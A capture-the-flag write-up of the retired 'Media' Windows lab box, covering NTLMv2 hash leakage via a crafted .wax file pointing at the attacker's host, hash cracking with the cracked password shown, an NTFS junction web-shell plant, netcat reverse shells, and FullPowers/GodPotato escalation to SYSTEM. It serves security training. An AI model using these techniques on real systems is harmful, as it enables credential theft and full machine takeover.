Media (Retired Box)
Overview
Penetrating the Media Windows machine begins with abusing its custom PHP uploader function to force an NTLMv2 authentication leak. After cracking the captured hash, we gain a foothold on the system via SSH. Internally, we discover the application’s upload path generation is flawed, allowing us to use an NTFS junction to plant a PHP web shell and achieve RCE. The final step to dominance involves restoring SeImpersonatePrivilege to seize SYSTEM authority.
Recon
1
2
mkdir -p nmap/media
nmap -sC -sV -T4 -vv -p- --min-rate=1000 -oA nmap/media 10.129.234.67
I create a dedicated folder so I can keep my scans organized and return to them later without rerunning anything.
Nmap Output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
└──╼ [★]$ less nmap/pov.media
Nmap scan report for 10.129.234.67
Host is up, received echo-reply ttl 127 (0.0085s latency).
Scanned at 2025-11-11 04:35:01 CST for 135s
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: ProMotion Studio
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=MEDIA
| Issuer: commonName=MEDIA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-10T10:33:39
| Not valid after: 2026-05-12T10:33:39
| MD5: e003:0e17:9d5f:88d1:342f:6d0c:99b3:c311
| SHA-1: 7b3b:a9f8:7550:3bb0:70d2:3ce7:5e6b:f4ee:bac7:bf5a
| -----BEGIN CERTIFICATE-----
| MIICzjCCAbagAwIBAgIQMhX1hNVZ7pFIYKO0rfh+GTANBgkqhkiG9w0BAQsFADAQ
| MQ4wDAYDVQQDEwVNRURJQTAeFw0yNTExMTAxMDMzMzlaFw0yNjA1MTIxMDMzMzla
<SNIP>
| LpW0MmvHVMY4oX1UNrsqOcmXa8aTC+0KcYhPLuM335pcxtVIVjoTp7dXOQpkbtVr
| i61sv3oQEcTZTr9Eli/jzaRjy7mNSVm6D67fx/Wm6JFoGyR5A+mDGnAJiwJN1A/f
| E6c=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-11T10:37:07+00:00; -9s from scanner time.
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348
|_ System_Time: 2025-11-11T10:37:02+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -9s, deviation: 0s, median: -9s
Key findings:
- Only SSH, HTTP, and RDP are exposed. The web app is the only real entry point(for now).
- Apache/PHP on Windows confirms a XAMPP stack.
- The ProMotion Studio site is a custom PHP app.
- RDP banners leak system details: hostname, domain, and OS build.
Enumeration
Upon loading the site, I observed that most of the navigation consisted of static anchors pointing to sections on the same page, with no dynamic or interactive elements. The only functional component was the upload form at the bottom. It specifically asks for a file compatible with Windows Media Player, which is an oddly narrow requirement.
This prompted an investigation into abuse cases related to Windows Media Player file handling. I quickly discover a Morphisec write-up detailing NTLM leakage via specially crafted media files. Their research confirms that certain file types could trigger outbound SMB authentication attempts, thereby leaking NTLMv2 hashes.
The execution was simple, I need to create a media file that would act as a Trojan horse, tricking the server into handing over its credentials by connecting to my listener. The mechanism relies on Windows Media Player’s behavior of automatically retrieving remote resources, which would cause it to leak the NTLMv2 hash of the underlying service account.
Windows Media Player exploit
To test this, I created and uploaded payload.wax based on what was demonstrated in the write-up.
1
2
3
4
5
6
7
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://10.10.xxx.xxx\test\1.mp3"/>
</entry>
</asx>
I start responder to catch any authentication attempts.
1
└──╼ [★]$ sudo responder -I tun0 -v
Within a few seconds, I catch NTLMv2 hash tied to an enox account:
Password Cracking
I run hashcat and successfully crack the hash.
1
└──╼ [★]$ hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txt
Hashcat returns a hit:
enox:1234virus@
Initial Access
With valid credentials in hand, I move straight to try this against the open SSH port:
1
2
3
4
5
6
└──╼ [★]$ ssh enox@10.129.234.67
enox@10.129.234.67's password:
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
enox@MEDIA C:\Users\enox>
We get authenticated. Rudimentary probing shows this is a standard low-priv user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
enox@MEDIA C:\Users\enox>whoami /all
USER INFORMATION
----------------
User Name SID
========== ============================================
media\enox S-1-5-21-161898231-563177350-3296918735-1000
<SNIP>
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
From here, the next logical step is digging into the web app’s source and hunting for an angle to move up.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\enox> tree /f /a
Folder PATH listing
Volume serial number is EAD8-5D48
C:.
+---Desktop
| user.txt
|
+---Documents
| review.ps1
|
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
\---Videos
The only interesting thing I can see apart from the user flag is review.ps1.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
PS C:\Users\enox> cat C:\Users\enox\Documents\review.ps1
<SNIP>
# Replace the original file with the temporary file
Remove-Item $FilePath
Rename-Item -Path ($FilePath + ".tmp") -NewName $FilePath
}
$todofile="C:\\Windows\\Tasks\\Uploads\\todo.txt"
$mediaPlayerPath = "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
while($True){
if ((Get-Content -Path $todofile) -eq $null) {
Write-Host "Todo is empty."
Sleep 60 # Sleep for 60 seconds before rechecking
}
else {
$result = Get-Values -FilePath $todofile
$filename = $result.FileName
$randomVariable = $result.RandomVariable
Write-Host "FileName: $filename"
Write-Host "Random Variable: $randomVariable"
# Opening the File in Windows Media Player
Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename"
# Wait for 15 seconds
Start-Sleep -Seconds 15
$mediaPlayerProcess = Get-Process -Name "wmplayer" -ErrorAction SilentlyContinue
if ($mediaPlayerProcess -ne $null) {
Write-Host "Killing Windows Media Player process."
Stop-Process -Name "wmplayer" -Force
}
# Task Done
UpdateTodo -FilePath $todofile # Updating C:\Windows\Tasks\Uploads\todo.txt
Sleep 15
}
}
This script reveals the core workflow behind the upload feature. It explains exactly how our earlier media payload got executed. The PHP application writes an entry to todo.txt, and this PowerShell loop, running under a more privileged user context, picks it up and launches it in Windows Media Player. That file-execution workflow is what leaks NTLMv2 during the initial foothold. More importantly, it exposes how upload paths are being generated and where files land on disk.
Exploitation
Inside C:\Windows\Tasks\Uploads I find an empty todo.txt and a subfolder containing my uploaded payload.wax. That matches exactly what review.ps1 was monitoring.
Since the site runs on XAMPP, the web root sits at C:\xampp\htdocs. If I could drop a PHP web shell here, I’d immediately get RCE as the web server’s service account. But a quick permissions check shows I don’t have write access:
1
2
3
4
5
6
7
8
9
10
PS C:\xampp\htdocs> ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
Moving on, in the index.php, I can see how uploads are handled:
- Uploads go to
C:/Windows/Tasks/Uploads/. - A per-upload folder is created using
md5(firstname . lastname . email). - Filenames are lightly sanitized.
- Files are written to the new folder.
- A line is appended to
todo.txt, later parsed and executed byreview.ps1.
Here’s the relevant code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);
// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = md5($firstname . $lastname . $email);
// Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';
// Ensure the directory exists; create it if not
if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);
}
// Sanitize the filename to remove unsafe characters
$originalFilename = $_FILES["fileToUpload"]["name"];
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
// Build the full path to the target file
$targetFile = $targetDir . $sanitizedFilename;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";
// Update the todo.txt file
$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";
// Append the new line to the file
file_put_contents($todoFile, $todoContent, FILE_APPEND);
} else {
echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>
Since the enox account can write anywhere inside C:\Windows\Tasks\Uploads\ , I can perform an NTFS junction attack, i.e. redirect the writable folder so the web server thinks it’s writing into the upload directory, but the file actually lands somewhere else, in this case, the XAMPP web root.
Upload Web Shell
With the path-generation flaw mapped out, I will upload a file that the server thinks belongs in its upload directory, then redirect that write operation into the XAMPP web root using an NTFS junction. To set this up, I first upload a simple PHP webshell to generate a new MD5-named folder:
It shows up as:
I delete the folder and recreate it as a junction pointing directly at the web root:
1
2
3
4
PS C:\Windows\Tasks\Uploads> rm .\ddecdc4ba5055c79437b1a2b0b044c96\
PS C:\Windows\Tasks\Uploads> cmd /c mklink /J C:\Windows\Tasks\Uploads\ddecdc4ba5055c79437b1a2b0b044c96 C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\ddecdc4ba5055c79437b1a2b0b044c96 <<===>> C:\xampp\htdocs
From this point on, any upload targeting that MD5 folder writes directly into C:\xampp\htdocs\. I then re-upload shell.php, and it drops into the web root.
A quick test confirms remote command execution under the web service account:
1
2
└──╼ [★]$ curl http://10.129.234.67/shell.php?cmd=whoami
nt authority\local service
Once I confirm the webshell works, the next step is upgrading to a full interactive reverse shell. I generate a payload from revshells.com and pass it as a command to the webshell, and wait for the connection to hit my listener.
On my listener:
1
2
3
4
└──╼ [★]$ rlwrap -cAr nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received from 10.129.190.66:59283
PS C:\xampp\htdocs>
We now have a full interactive shell on the box.
Privilege Escalation
I enumerate the account’s groups and privileges:
The only standout finding here is SeTcbPrivilege. This is one of the strongest privileges in Windows, any account holding it can impersonate any other user, including SYSTEM. However, Windows doesn’t hand that power over easily. In this instance, it is disabled.
There is a PoC demonstrating how SeTcbPrivilege can be abused directly when the privilege is fully available but in my case, the attack surface is not reliable enough to make that route viable. Instead, I will use FullPowers to force Windows to regenerate an unrestricted service token.
Note: FullPowers works here because the service account actually owns strong privileges, but the web-shell token is a restricted child token. By creating a scheduled task, Windows is forced to restore SeImpersonatePrivilege. It won’t work on systems where the account never had those privileges or where task creation is locked down.
Restoring Privileges with FullPowers
To move forward, I upload FullPowers:
1
└──╼ [★]$ scp FullPowers.exe enox@10.129.234.67:/programdata/
Then I execute it from my existing shell and trigger another reverse shell:
Listener output:
1
2
3
4
└──╼ [★]$ rlwrap -cAr nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received from 10.129.190.66:59290
PS C:\Windows\system32>
This gives me a token with a full set of local service privileges:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Now that SeImpersonatePrivilege is available, I can escalate to SYSTEM.
SYSTEM via GodPotato
With SeImpersonate now available, I will Use GodPotato to abuse SeImpersonatePrivilege and impersonate SYSTEM.
GodPotato is part of the long line of “Potato” exploits (RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer).
I upload GodPotato to the upgraded shell:
1
└──╼ [★]$ scp GodPotato.exe enox@10.129.234.67:/programdata/gp.exe
Then I run it with a new reverse shell command:
Listener output:
1
2
3
4
5
└──╼ [★]$ rlwrap -cAr nc -lnvp 9002
Listening on 0.0.0.0 9002
Connection received from 10.129.190.66:59294
PS C:\programdata> whoami
nt authority\system
And that’s full control of the box!










